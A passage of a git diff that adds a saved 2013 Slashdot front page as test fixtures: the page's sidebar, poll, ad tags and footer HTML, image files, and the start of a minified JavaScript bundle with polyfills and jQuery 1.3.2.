+ <a onclick="firehose_set_options('startdate','20130124'); return false;" href="//slashdot.org/index2.pl?section=&color=green&index=1&view=stories&duration=-1&startdate=20130124">Yesterday</a>
+ </span>
+
+ <span class="hide inactive">
+ <a onclick="firehose_set_options('startdate','20130123'); return false;" href="//slashdot.org/index2.pl?section=&color=green&index=1&view=stories&duration=-1&startdate=20130123">Wednesday</a>
+ </span>
+
+ <span class="hide inactive">
+ <a onclick="firehose_set_options('startdate','20130122'); return false;" href="//slashdot.org/index2.pl?section=&color=green&index=1&view=stories&duration=-1&startdate=20130122">Tuesday</a>
+ </span>
+
+
+ <span class="inactive more">
+ <span id="firehose_more">
+
+
+
+ <span id="more-experiment" class="present future "><a href="//slashdot.org/index2.pl?section=&color=green&index=1&view=stories&duration=-1&startdate=20130125&page=1" onclick=" return firehose_more();" class="btn grid_24"><span>Many More</span></a></span>
+ <script type="text/javascript">more_possible('Many More');</script>
+
+ </span>
+ </span>
+
+
+
+
+
+
+</div>
+</div>
+ </div>
+
+
+<span id="itemsreturned" class="grid_24">
+
+</span>
+
+ </section>
+
+
+ <aside id="slashboxes">
+
+ <div class="synd">
+ <span class="syndlabel">Follow us:</span> <a href="http://twitter.com/slashdot" class="tw">Twitter</a> <a href="http://www.facebook.com/slashdot" class="fb">Facebook</a> <a href="https://plus.google.com/113450234747488780301" class="gp">Google+</a> <a href="http://rss.slashdot.org/Slashdot/slashdot" class="rss">RSS Feed</a>
+ </div>
+
+
+
+ <div class="ad83 advertisement"><!-- ad position 83 -->
+ <!-- DoubleClick Ad Tag -->
+<div id="fad83">
+
+
+
+ <script type="text/javascript">
+ //<![CDATA[
+
+ var hint = 'mainpage';
+
+ document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/ostg.slashdot/pg_index_p83_medrec;pg=index2;logged_in=0;tile='+dfp_tile+';sz=300x250,300x600;u=;ord='+dfp_ord+'?"><\/script>');
+ dfp_tile++;
+ //]]>
+ </script>
+
+
+</div>
+<!-- End DoubleClick Ad Tag --></div>
+ <div id='my_forgebox'>
+
+ </div>
+
+
+ <article id="poll" class="nosort">
+ <header id="poll-title">
+ <h2><a href="">Slashdot Poll</a></h2>
+ </header>
+ <section class="b" id="poll-content">
+ <form action="//slashdot.org/pollBooth.pl" method="post">
+ <fieldset>
+ <legend>Poll</legend>
+ <input type="hidden" name="qid" value="2511">
+
+ <p><strong>My cumulative GPA, thus far:</strong></p>
+
+ <label class="grid_24">
+ <span class="grid_2"><input type="radio" name="aid" value="1" ></span>
+ <span class="grid_22">Above 4.0</a></span>
+ </label>
+
+ <label class="grid_24">
+ <span class="grid_2"><input type="radio" name="aid" value="2" ></span>
+ <span class="grid_22">3.5-4.0</a></span>
+ </label>
+
+ <label class="grid_24">
+ <span class="grid_2"><input type="radio" name="aid" value="3" ></span>
+ <span class="grid_22">3.0-3.5</a></span>
+ </label>
+
+ <label class="grid_24">
+ <span class="grid_2"><input type="radio" name="aid" value="4" ></span>
+ <span class="grid_22">2.5-3.0</a></span>
+ </label>
+
+ <label class="grid_24">
+ <span class="grid_2"><input type="radio" name="aid" value="5" ></span>
+ <span class="grid_22">2.0-2.5</a></span>
+ </label>
+
+ <label class="grid_24">
+ <span class="grid_2"><input type="radio" name="aid" value="6" ></span>
+ <span class="grid_22">Below 2.0</a></span>
+ </label>
+
+ <label class="grid_24">
+ <span class="grid_2"><input type="radio" name="aid" value="7" ></span>
+ <span class="grid_22">I transcend the concept of GPAs</a></span>
+ </label>
+
+ <label class="grid_24">
+ <span class="grid_2"><input type="radio" name="aid" value="8" ></span>
+ <span class="grid_22">Depends if I can average in kindergarten.</a></span>
+ </label>
+
+ <p class="fleft ft">
+ <input type="submit" value="Vote">
+
+ </p>
+ <p class="fright">
+ <a href="/poll/2511/my-cumulative-gpa-thus-far">Read the <strong>172</strong> comments</a><br>
+ Voted on <strong>5880</strong> times.
+ </p>
+ </fieldset>
+ </form>
+ <div class="ad31 advertisement">
+<div id="fad31p">
+ <script type="text/javascript">
+
+ //<![CDATA[
+
+ var hint = 'mainpage';
+
+ document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/ostg.slashdot/pg_index_p31_lower_poll_spons;pg=index;logged_in=0;tile='+dfp_tile+';ord='+dfp_ord+'?"><\/script>');
+
+ dfp_tile++;
+ //]]>
+ </script>
+</div>
+</div>
+ </section>
+</article><div class="ad_db advertisement">
+<div id="fad_db">
+ <script type="text/javascript">
+
+ //<![CDATA[
+
+ var hint = 'mainpage';
+
+ document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/ostg.slashdot/pg_index_CPL_medrec;pg=index;logged_in=0;tile='+dfp_tile+';sz=300x250;ord='+dfp_ord+';?"><\/script>');
+
+ dfp_tile++;
+ //]]>
+ </script>
+</div>
+</div><div class="railad"><div class="ad85 advertisement"><!-- ad position 85 -->
+ <!-- DoubleClick Ad Tag -->
+<div id="fad85">
+
+
+
+ <script type="text/javascript">
+ //<![CDATA[
+
+ var hint = 'mainpage';
+
+ document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/ostg.slashdot/pg_index_p85_medrec;pg=index2;logged_in=0;tile='+dfp_tile+';sz=300x250,300x600;u=;ord='+dfp_ord+'?"><\/script>');
+ dfp_tile++;
+ //]]>
+ </script>
+
+
+</div>
+<!-- End DoubleClick Ad Tag --></div></div><article class="nosort">
+ <header id="mostdiscussed-title">
+ <h2>Most Discussed</h2>
+ </header>
+ <section class="b" id="mostdiscussed-content">
+ <ul id="mostdiscussed">
+
+
+<li>
+<span class="cmntcnt"><span class="slant"></span><span >544<span class="hide"> comments</span></span></span>
+ <a href="//tech.slashdot.org/story/13/01/23/201257/recession-tech-kill-middle-class-jobs?sbsrc=md">Recession, Tech Kill Middle-Class Jobs</a>
+</li>
+
+
+<li>
+<span class="cmntcnt"><span class="slant"></span><span >509<span class="hide"> comments</span></span></span>
+ <a href="//politics.slashdot.org/story/13/01/24/1635211/north-korea-announces-3rd-nuclear-test-anti-us-aims?sbsrc=md">North Korea Announces 3rd Nuclear Test, Anti-US Aims</a>
+</li>
+
+
+<li>
+<span class="cmntcnt"><span class="slant"></span><span >405<span class="hide"> comments</span></span></span>
+ <a href="//apple.slashdot.org/story/13/01/23/1421200/tech-firms-keep-piles-of-foreign-cash-in-us?sbsrc=md">Tech Firms Keep Piles of 'Foreign Cash' In US</a>
+</li>
+
+
+<li>
+<span class="cmntcnt"><span class="slant"></span><span >397<span class="hide"> comments</span></span></span>
+ <a href="//yro.slashdot.org/story/13/01/23/0319214/andrew-auernheimer-case-uncomfortably-similar-to-aaron-swartz-case?sbsrc=md">Andrew Auernheimer Case Uncomfortably Similar To Aaron Swartz Case</a>
+</li>
+
+
+<li>
+<span class="cmntcnt"><span class="slant"></span><span >374<span class="hide"> comments</span></span></span>
+ <a href="//yro.slashdot.org/story/13/01/24/2232237/californias-surreal-retroactive-tax-on-tech-startup-investors?sbsrc=md">California's Surreal Retroactive Tax On Tech Startup Investors</a>
+</li>
+
+</ul>
+ </section>
+</article><article class="nosort">
+ <header id="srandblock-title">
+ <h2><a href="//slashdot.org/recent/">Firehose</a></h2>
+ </header>
+ <section class="b" id="srandblock-content">
+ <ul>
+<li>
+
+
+ <a href="//slashdot.org/submission/2462859/mars-rover-is-10-years-old?utm_source=rss1.0&utm_medium=feed&sbsrc=firehose">
+ Mars Rover is 10 years old
+ </a>
+</li><li>
+
+
+ <a href="//slashdot.org/submission/2463193/github-kills-search-after-hundreds-of-passwords-exposed?utm_source=rss1.0&utm_medium=feed&sbsrc=firehose">
+ Github kills search after hundreds of passwords exposed
+ </a>
+</li><li>
+
+
+ <a href="//slashdot.org/submission/2462707/can-a-new-gpu-rejuvenate-a-5-year-old-gaming-pc?utm_source=rss1.0&utm_medium=feed&sbsrc=firehose">
+ Can A New GPU Rejuvenate A 5 Year Old Gaming PC?
+ </a>
+</li><li>
+
+
+ <a href="//slashdot.org/submission/2462579/internet-connection-crucial-to-everyday-life-german-federal-court-rules?utm_source=rss1.0&utm_medium=feed&sbsrc=firehose">
+ Internet connection crucial to everyday life, German federal court rules
+ </a>
+</li><li>
+
+
+ <a href="//slashdot.org/submission/2462985/cell-phone-unlocking-to-become-illegal-january-26?utm_source=rss1.0&utm_medium=feed&sbsrc=firehose">
+ Cell Phone Unlocking To Become Illegal January 26
+ </a>
+</li>
+</ul>
+ </section>
+</article><article id="thisday" class="nosort">
+ <header id="thisday-title">
+ <h2><a href="">This Day on Slashdot</a></h2>
+ </header>
+ <section class="b" id="thisday-content">
+ <style type="text/css">
+.thisday-yr {
+ background: none repeat scroll 0% 0% #333333;
+ color: #FFFFFF;
+ font-size: 105%;
+ font-weight: bold;
+}
+
+.thisday-tb tr td {
+ background: none repeat scroll 0% 0% #E6E6E6;
+}
+
+.thisday-tb tr td.thisday-yr {
+ background: none repeat scroll 0% 0% #006666;
+}
+
+.thisday-tb {
+ background: #333333;
+}
+
+
+.thisday-tb tbody tr:first-child td, tbody tr:first-child th {
+ border-top: 0px solid #BEBEBE;
+}
+</style>
+
+<table bgcolor="333333" class="thisday-tb"><tbody>
+
+
+<tr>
+ <td class="thisday-yr">
+ 2010
+ </td>
+ <td>
+ <a href="//apple.slashdot.org/story/10/01/25/1334220/the-apple-paradox-closed-culture-free-thinking-fans?sbsrc=thisday">The Apple Paradox, Closed Culture & Free-Thinking Fans</a>
+ </td>
+ <td>
+ <span style="" class="cmntcnt"><span style="background:#333" class="slant"></span><span style="background: #333; color:#fff; font-weight:bold; font-size:.85em">945<span class="hide"> comments</span></span></span>
+ </td>
+</tr>
+
+
+<tr>
+ <td class="thisday-yr">
+ 2006
+ </td>
+ <td>
+ <a href="//tech.slashdot.org/story/06/01/25/0432239/google-agrees-to-censor-results-in-china?sbsrc=thisday">Google Agrees to Censor Results in China</a>
+ </td>
+ <td>
+ <span style="" class="cmntcnt"><span style="background:#333" class="slant"></span><span style="background: #333; color:#fff; font-weight:bold; font-size:.85em">862<span class="hide"> comments</span></span></span>
+ </td>
+</tr>
+
+
+<tr>
+ <td class="thisday-yr">
+ 2005
+ </td>
+ <td>
+ <a href="//science.slashdot.org/story/05/01/25/0342256/gates-pledges-750m-to-vaccinate-children?sbsrc=thisday">Gates Pledges $750M to Vaccinate Children</a>
+ </td>
+ <td>
+ <span style="" class="cmntcnt"><span style="background:#333" class="slant"></span><span style="background: #333; color:#fff; font-weight:bold; font-size:.85em">1251<span class="hide"> comments</span></span></span>
+ </td>
+</tr>
+
+
+<tr>
+ <td class="thisday-yr">
+ 2004
+ </td>
+ <td>
+ <a href="//slashdot.org/story/04/01/25/147258/bill-gates-to-be-knighted?sbsrc=thisday">Bill Gates to be Knighted</a>
+ </td>
+ <td>
+ <span style="" class="cmntcnt"><span style="background:#333" class="slant"></span><span style="background: #333; color:#fff; font-weight:bold; font-size:.85em">1116<span class="hide"> comments</span></span></span>
+ </td>
+</tr>
+
+
+<tr>
+ <td class="thisday-yr">
+ 2003
+ </td>
+ <td>
+ <a href="//slashdot.org/story/03/01/25/1245206/ms-sql-server-worm-wreaking-havoc?sbsrc=thisday">MS SQL Server Worm Wreaking Havoc</a>
+ </td>
+ <td>
+ <span style="" class="cmntcnt"><span style="background:#333" class="slant"></span><span style="background: #333; color:#fff; font-weight:bold; font-size:.85em">964<span class="hide"> comments</span></span></span>
+ </td>
+</tr>
+
+</tbody></table>
+
+ </section>
+</article><article id="freshmeat" class="nosort">
+ <header id="freshmeat-title">
+ <h2><a href="http://freshmeat.net">Freecode.com releases</a></h2>
+ </header>
+ <section class="b" id="freshmeat-content">
+ <ul><li><a href="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/Zd1p7zfzJ0Y/talend-open-studio-for-esb" rel="alternate" >Talend Open Studio for ESB 5.1.3</a></li><li><a href="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/Zd1p7zfzJ0Y/talend-open-studio-for-esb" rel="alternate" >Talend Open Studio for ESB 5.3.0M1</a></li><li><a href="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/DzF4e5RnKBY/chiantipy" rel= [...]
+<form method="get" action="http://freecode.com/search/"><div>
+ <div class="sb_heading">Search Freecode:</div><br>
+ <input type="hidden" name="link" value="freecode">
+ <input type="text" name="q">
+</div></form>
+
+<div class="right"><a href="http://freecode.com/"><b>More Freecode...</b></a></div>
+
+
+ </section>
+</article><div id="slug-Crown" class="block nosort slug"><div class="content"></div></div><div id="slug-Top" class="block nosort slug"><div class="content"></div></div>
+
+ <div class="advertisement marchex railad" style="padding-top:75px">
+ <div class="ad101 advertisement"><!-- ad position 101 -->
+ <!-- DoubleClick Ad Tag -->
+<div id="fad101">
+
+
+
+ <script type="text/javascript">
+ //<![CDATA[
+
+ var hint = 'mainpage';
+
+ document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/ostg.slashdot/pg_index_google_medrec;pg=index2;logged_in=0;tile='+dfp_tile+';sz=300x250,300x600;u=;ord='+dfp_ord+'?"><\/script>');
+ dfp_tile++;
+ //]]>
+ </script>
+
+
+</div>
+<!-- End DoubleClick Ad Tag --></div>
+ </div>
+
+
+
+
+
+
+
+
+ </aside>
+
+ </section>
+ </div>
+
+
+<script type="text/javascript">
+firehose_exists = 1;
+$(function(){
+$('#firehose-filter').
+ focus(function(event){
+ gFocusedText = this;
+ }).
+ blur(function(event){
+ if ( gFocusedText === this ) {
+ gFocusedText = null;
+ }
+ });
+
+
+apply_updates_when( 'at-end', true);
+});
+
+
+ firehose_settings.startdate = "";
+ firehose_settings.mode = "mixed";
+ firehose_settings.fhfilter = "";
+ firehose_settings.orderdir = "DESC";
+ firehose_settings.orderby = "createtime";
+ firehose_settings.duration = -1;
+ firehose_settings.color = "green";
+ firehose_settings.view = "stories";
+ firehose_settings.viewtitle = "";
+ firehose_settings.tab = "";
+ firehose_settings.base_filter = "";
+ firehose_settings.user_view_uid = "";
+ firehose_settings.sectionname = "Main";
+
+ firehose_settings.issue = "";
+ firehose_settings.section = 13;
+ $('#searchquery').val(firehose_settings.fhfilter);
+
+
+ firehose_sitename = "Slashdot";
+ firehose_slogan = "News for nerds, stuff that matters";
+ firehose_update_title_count();
+ firehose_smallscreen = 0;
+
+
+
+
+
+ firehose_settings.index = 1;
+
+
+
+
+ var firehose_action_time = 0;
+ var firehose_user_class = 0;
+
+
+
+ var fh_color = "green";
+ fh_colors = [ "red", "orange", "yellow", "green", "blue", "indigo", "violet", "black" ];
+ var fh_colors_hash = new Array(0);
+ for (var i=0; i< fh_colors.length; i++) {
+ fh_colors_hash[fh_colors[i]] = i;
+ }
+
+ var fh_view_mode = "mixed";
+ firehose_settings.page = 0;
+
+ fh_is_admin = 0;
+ var updateIntervalType = 2;
+ var inactivity_timeout = 3600;
+ setFirehoseAction();
+ var update_time = "2013-01-25 06:43:10";
+
+ var maxtime = "2013-01-25 06:43:10";
+ var insert_new_at = "top";
+
+
+
+
+
+fh_ticksize = 15;
+sitename = 'idle.slashdot.org';
+
+
+
+
+$(window).scroll(function () {
+ inlineAdFirehose();
+});
+
+</script></section>
+
+
+
+
+
+<footer id="fhft" class="grid_24 nf">
+ <div id="logo_nf" class="fleft">
+ <a href="//slashdot.org"><span>Slashdot</span></a>
+ </div>
+ <nav role="firehose footer">
+
+
+
+ <ul id="pagination-controls">
+ <li class="fleft"><a href=""> </a></li>
+ <li class="fleft selected"><a href=""> </a></li>
+ <li class="fleft"><a href=""> </a></li>
+ <li class="fleft"><a href=""> </a></li>
+ <li class="fleft"><a href=""> </a></li>
+ </ul>
+ <script> fh_pag_update() </script>
+
+ <ul class="fright submitstory">
+ <li class="fright"><a onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" href="/submit">Submit<span class="opt"> Story</span></a></li>
+ </ul>
+ </nav>
+</footer>
+ <section class="bq"><blockquote class="msg grid_24" cite="http://slashdot.org"><p>On-line, adj.:
+ The idea that a human being should always be accessible to a computer.</p><span class="slant"></span></blockquote></section>
+<footer id="ft" class="grid_24">
+ <nav class="grid_10" role="footer">
+ <ul>
+ <li><a href="//slashdot.org/faq">FAQ</a></li>
+ <li><a href="//slashdot.org/archive.pl">Story Archive</a></li>
+ <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li>
+ <li><a href="http://geeknetmedia.com/advertising-and-marketing-services/">Advertising</a></li>
+ <li><a href="http://geeknetmedia.com/terms-of-use/">Terms</a></li>
+ <li><a href="http://geeknetmedia.com/privacy-statement/">Privacy</a></li>
+ <li><a href="http://geeknetmedia.com/opt-out-choices/">Cookies/Opt Out</li>
+ <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li>
+
+ <li>
+ <a href="mailto:feedback at slashdot.org">Feedback</a>
+ </li>
+ <li><a href="http://slashdot.jp">Slashdot Japan</a></li>
+ </ul>
+ </nav>
+
+ <div class="grid_14 tright tm">Trademarks property of their respective owners. Comments owned by the poster. <span class="nobr">Copyright © 2013 Slashdot. All Rights Reserved.</span> <span class="nobr">Slashdot is a <a href="http://www.diceholdingsinc.com/phoenix.zhtml?c=211152&p=irol-landing" title="The Mother Ship">Dice Holdings, Inc.</a> company</span></div>
+</footer>
+
+
+<div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div>
+<div id="modal_box" class="hide">
+ <div id="modal_box_content"></div>
+ <header class="n">
+ <span class="fadeout"></span>
+ <span class="fadeoutfade"></span>
+ <span class="pf"><a class="ico close" onclick="hide_modal_box(); return false;" href="#"><span>Close</span></a></span>
+ <h3 class="pf"><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3>
+ </header>
+</div>
+
+<script type="text/javascript">
+COMSCORE.beacon({
+ c1:2,
+ c2:6035546,
+ c3:"",
+ c4:"",
+ c5:"",
+ c6:"",
+ c15:""
+});
+</script>
+<noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript>
+<script id="after-content" type="text/javascript">
+(function( $, fn, console ){
+ $ && fn && $(function(){ fn($, console); });
+})(window.jQuery, window.pageload_done, window.console);
+</script>
+
+<div class="busy genericspinner hide"><span>Working...</span></div>
+
+
+</body>
+</html>
\ No newline at end of file
diff --git a/src/test/resources/s/slashdot.org_files/2675_SlashBIUpdate_HubIcon_v2.gif b/src/test/resources/s/slashdot.org_files/2675_SlashBIUpdate_HubIcon_v2.gif
new file mode 100644
index 0000000..a46f271
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/2675_SlashBIUpdate_HubIcon_v2.gif differ
diff --git a/src/test/resources/s/slashdot.org_files/273-2-thumb.png b/src/test/resources/s/slashdot.org_files/273-2-thumb.png
new file mode 100644
index 0000000..c64ccc4
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/273-2-thumb.png differ
diff --git a/src/test/resources/s/slashdot.org_files/817-grey.gif b/src/test/resources/s/slashdot.org_files/817-grey.gif
new file mode 100644
index 0000000..f55d454
Binary files /dev/null and b/src/test/resources/s/slashdot.org_files/817-grey.gif differ
diff --git a/src/test/resources/s/slashdot.org_files/all-minified.js b/src/test/resources/s/slashdot.org_files/all-minified.js
new file mode 100644
index 0000000..d8cb641
--- /dev/null
+++ b/src/test/resources/s/slashdot.org_files/all-minified.js
@@ -0,0 +1,1388 @@
+;var TypeOf;(function(){var U=void(0),N=null,W=window,ots=Object.prototype.toString,TRIMTK_RE=/^\[.+ |\]$/g,FN_TK='[object Function]',NAN_TK='[type NaN]',NUM_TK='[object Number]',OBJ_TK='[object Object]',DOC_T='document',EL_T='element',EVT_T='event',FN_T='function',LIST_T='list',OBJ_T='object',WIN_T='window',KNOWN_TYPE={},LIST_TYPE={},NODE_TYPE=[],SCALAR_TYPE={},CHECKED_TYPE={},FN_TYPE={};function typekey(o){var tk=ots.call(o);return tk in CHECKED_TYPE&&(o===U&&'[type undefined]'||o===N& [...]
+function distinct_typekey(o){var tk=typekey(o);return tk!==OBJ_TK&&tk;}
+function trim(tk){return tk&&tk.replace(TRIMTK_RE,'');}
+function qualify_number(o){var tk=typekey(o),how;if(tk===NUM_TK){how='';}else if(isNaN(o/=1)){return false;}else{how=' ('+KNOWN_TYPE[tk]+')';}
+return(isFinite(o)?'number':o.toString())+how;}
+function maybe_fn(o){return false;}
+function qualify_fn(o){var qt=FN_TYPE[typekey(o)];return(qt===OBJ_T?maybe_fn(o):qt)||false;}
+function maybe_event(o){return(typekey(o.cancelBubble)==='[object Boolean]'||qualify_fn(o.stopPropagation))&&EVT_T;}
+function maybe_list(o){try{return qualify_number(n=o.length)==='number'&&(!n||n-1 in o)&&LIST_T;}catch(e){}}
+function maybe_node(o){try{return o.nodeName&&NODE_TYPE[o.nodeType];}catch(e){}}
+function qualify_node(o){var t;return!!o&&((t=maybe_node(o))===DOC_T&&t||t===EL_T&&o.nodeName.toLowerCase()||t&&o.nodeName||t);}
+TypeOf=function(o){var tk=typekey(o);return KNOWN_TYPE[tk]||o===W&&WIN_T||qualify_fn(o.__typeOf)&&o.__typeOf()||maybe_node(o)||maybe_event(o)||maybe_list(o)||tk===OBJ_TK&&maybe_fn(o)||OBJ_T;}
+TypeOf.debug=KNOWN_TYPE;TypeOf.element=function(o){return!!o&&maybe_node(o)===EL_T&&qualify_node(o);};TypeOf.event=function(o){var qt;if(!o||!maybe_event(o))
+return false;try{qt=o.type;}catch(e){}
+return qt||trim(distinct_typekey(o))||EVT_T;};TypeOf.fn=qualify_fn;TypeOf.list=function(o){var tk=typekey(o);return tk in LIST_TYPE?LIST_TYPE[tk]:!!o&&maybe_list(o);};TypeOf.node=qualify_node;TypeOf.number=qualify_number;TypeOf.object=function(o){return trim(typekey(o).replace(NAN_TK,NUM_TK));};TypeOf.scalar=function(o){return SCALAR_TYPE[typekey(o)]||false;};(function(){var EL_NT=1,DOC_NT=9,LAST_NT=12;FN_TYPE[FN_TK]='function';CHECKED_TYPE[ots.call(U)]=true;CHECKED_TYPE[ots.call(N)]=tru [...]
+NODE_TYPE[EL_NT]=EL_T;NODE_TYPE[DOC_NT]=DOC_T;function define(o,scalar,list,tn){var tk=distinct_typekey(o);if(tk){tn||(tn=trim(tk).toLowerCase());KNOWN_TYPE[tk]=tn;scalar!==U&&(SCALAR_TYPE[tk]=tn);list!==U&&(LIST_TYPE[tk]=list&&tn);}
+return tk;}
+define(void(0),true,false);define(null,true,false);define(false,true,false);define(0,true,false);define(0/0,true,false,'NaN');define('',true,true);define(function(){},false,false);define([],false,true);define(/./,false,false);define(new Date(),false,false);define(new Error(),false,false);define(document,false,false,DOC_T);if(!define(window,false,false,WIN_T)){TypeOf.list=function(o){var tk;return o!==window&&((tk=typekey(o))in LIST_TYPE?LIST_TYPE[tk]:!!o&&maybe_list(o));};}
+define(document.childNodes,false,true,LIST_T);define(arguments,false,true,LIST_T);if(document.createEvent){define(document.createEvent('UIEvents'),false,false,EVT_T);define(document.createEvent('MouseEvents'),false,false,EVT_T);define(document.createEvent('MutationEvents'),false,false,EVT_T);define(document.createEvent('HTMLEvents'),false,false,EVT_T);}
+if(!qualify_fn(document.getElementById)){FN_TYPE[OBJ_TK]=OBJ_T;maybe_fn=function(o){return FN_TYPE[typekey(o.call)]&&FN_TYPE[typekey(o.apply)]&&FN_T;};}})();})();;(function(){var A=Array.prototype,S=String.prototype;if(!A.indexOf)
+{A.indexOf=function(elt)
+{var len=this.length;var from=Number(arguments[1])||0;from=(from<0)?Math.ceil(from):Math.floor(from);if(from<0)
+from+=len;for(;from<len;from++)
+{if(from in this&&this[from]===elt)
+return from;}
+return-1;};}
+if(!A.lastIndexOf)
+{A.lastIndexOf=function(elt)
+{var len=this.length;var from=Number(arguments[1]);if(isNaN(from))
+{from=len-1;}
+else
+{from=(from<0)?Math.ceil(from):Math.floor(from);if(from<0)
+from+=len;else if(from>=len)
+from=len-1;}
+for(;from>-1;from--)
+{if(from in this&&this[from]===elt)
+return from;}
+return-1;};}
+if(!A.every)
+{A.every=function(fun)
+{var len=this.length;if(typeof fun!="function")
+throw new TypeError();var thisp=arguments[1];for(var i=0;i<len;i++)
+{if(i in this&&!fun.call(thisp,this[i],i,this))
+return false;}
+return true;};}
+if(!A.filter)
+{A.filter=function(fun)
+{var len=this.length;if(typeof fun!="function")
+throw new TypeError();var res=new Array();var thisp=arguments[1];for(var i=0;i<len;i++)
+{if(i in this)
+{var val=this[i];if(fun.call(thisp,val,i,this))
+res.push(val);}}
+return res;};}
+if(!A.forEach)
+{A.forEach=function(fun)
+{var len=this.length;if(typeof fun!="function")
+throw new TypeError();var thisp=arguments[1];for(var i=0;i<len;i++)
+{if(i in this)
+fun.call(thisp,this[i],i,this);}};}
+if(!A.map)
+{A.map=function(fun)
+{var len=this.length;if(typeof fun!="function")
+throw new TypeError();var res=new Array(len);var thisp=arguments[1];for(var i=0;i<len;i++)
+{if(i in this)
+res[i]=fun.call(thisp,this[i],i,this);}
+return res;};}
+if(!A.some)
+{A.some=function(fun)
+{var len=this.length;if(typeof fun!="function")
+throw new TypeError();var thisp=arguments[1];for(var i=0;i<len;i++)
+{if(i in this&&fun.call(thisp,this[i],i,this))
+return true;}
+return false;};}
+if(!A.reduce)
+{A.reduce=function(fun)
+{var len=this.length;if(typeof fun!="function")
+throw new TypeError();if(len==0&&arguments.length==1)
+throw new TypeError();var i=0;if(arguments.length>=2)
+{var rv=arguments[1];}
+else
+{do
+{if(i in this)
+{rv=this[i++];break;}
+if(++i>=len)
+throw new TypeError();}
+while(true);}
+for(;i<len;i++)
+{if(i in this)
+rv=fun.call(null,rv,this[i],i,this);}
+return rv;};}
+if(!A.reduceRight)
+{A.reduceRight=function(fun)
+{var len=this.length;if(typeof fun!="function")
+throw new TypeError();if(len==0&&arguments.length==1)
+throw new TypeError();var i=len-1;if(arguments.length>=2)
+{var rv=arguments[1];}
+else
+{do
+{if(i in this)
+{rv=this[i--];break;}
+if(--i<0)
+throw new TypeError();}
+while(true);}
+for(;i>=0;i--)
+{if(i in this)
+rv=fun.call(null,rv,this[i],i,this);}
+return rv;};}
+if(!S.trim)
+{var trim_regexp=/^\s+|\s+$/g;S.trim=function()
+{return this.replace(trim_regexp,'');};}
+if(!S.trimLeft)
+{var trimLeft_regexp=/^\s+/;S.trimLeft=function()
+{return this.replace(trimLeft_regexp,'');};}
+if(!S.trimRight)
+{var trimRight_regexp=/\s+$/;S.trimLeft=function()
+{return this.replace(trimRight_regexp,'');};}
+function make_generic(name){var fn;name in this||typeof(fn=this.prototype[name])!=='function'||(this[name]=function(o){return fn.apply(o,A.slice.call(arguments,1));});}
+['concat','every','filter','forEach','indexOf','join','lastIndexOf','map','pop','push','reduce','reduceRight','reverse','shift','slice','some','sort','splice','unshift'].forEach(make_generic,Array);['charAt','charCodeAt','concat','indexOf','lastIndexOf','match','replace','search','slice','split','substr','substring','toLowerCase','toUpperCase','trim','trimLeft','trimRight'].forEach(make_generic,String);})();;var slashcore=(function(){function ordered(o){return o&&'length'in o&&(o.length- [...]
+function flatten(array){return Array.prototype.concat.apply([],array);}
+function each(o,fn){if(ordered(o)){Array.every(o,function(v,i){return fn.call(v,i,v)!==false;});}else{for(var name in o){if(fn.call(o[name],name,o[name])===false){break;}}}
+return o;}
+function reduce(o,accumulated,fn){var step;switch(typeof(accumulated)){case'function':if(arguments.length>2)
+break;fn=accumulated;case'undefined':accumulated=ordered(o)?[]:{};}
+each(o,function(k,v){(step=fn.call(accumulated,k,v,accumulated))!==undefined&&(accumulated=step);});return accumulated;}
+return{each:each,reduce:reduce,map:function(o,fn){var step,mapped=[];reduce(o,mapped,function(k,v){(step=fn.call(v,k,v))!==undefined&&this.push(step);});return flatten(mapped);},keys:function(o){return reduce(o,[],function(key){this.push(key);});},values:function(o){return reduce(o,[],function(key,value){this.push(value);});},grep:function(o,fn,invert){return reduce(o,[],function(k,v){!invert!=!fn.call(v,k,v)&&this.push(v);});},merge:function(o){Array.prototype.push.apply(o,flatten(Array [...]
+window=this,undefined,_jQuery=window.jQuery,_$=window.$,jQuery=window.jQuery=window.$=function(selector,context){return new jQuery.fn.init(selector,context);},quickExpr=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,isSimple=/^.[^:#\[\.,]*$/;jQuery.fn=jQuery.prototype={init:function(selector,context){selector=selector||document;if(selector.nodeType){this[0]=selector;this.length=1;this.context=selector;return this;}
+if(typeof selector==="string"){var match=quickExpr.exec(selector);if(match&&(match[1]||!context)){if(match[1])
+selector=jQuery.clean([match[1]],context);else{var elem=document.getElementById(match[3]);if(elem&&elem.id!=match[3])
+return jQuery().find(selector);var ret=jQuery(elem||[]);ret.context=document;ret.selector=selector;return ret;}
+}else
+return jQuery(context).find(selector);}else if(jQuery.isFunction(selector))
+return jQuery(document).ready(selector);if(selector.selector&&selector.context){this.selector=selector.selector;this.context=selector.context;}
+return this.setArray(jQuery.isArray(selector)?selector:jQuery.makeArray(selector));},selector:"",jquery:"1.3.2",size:function(){return this.length;},get:function(num){return num===undefined?Array.prototype.slice.call(this):this[num];},pushStack:function(elems,name,selector){var ret=jQuery(elems);ret.prevObject=this;ret.context=this.context;if(name==="find")
+ret.selector=this.selector+(this.selector?" ":"")+selector;else if(name)
+ret.selector=this.selector+"."+name+"("+selector+")";return ret;},setArray:function(elems){this.length=0;Array.prototype.push.apply(this,elems);return this;},each:function(callback,args){return jQuery.each(this,callback,args);},index:function(elem){return jQuery.inArray(elem&&elem.jquery?elem[0]:elem,this);},attr:function(name,value,type){var options=name;if(typeof name==="string")
+if(value===undefined)
+return this[0]&&jQuery[type||"attr"](this[0],name);else{options={};options[name]=value;}
+return this.each(function(i){for(name in options)
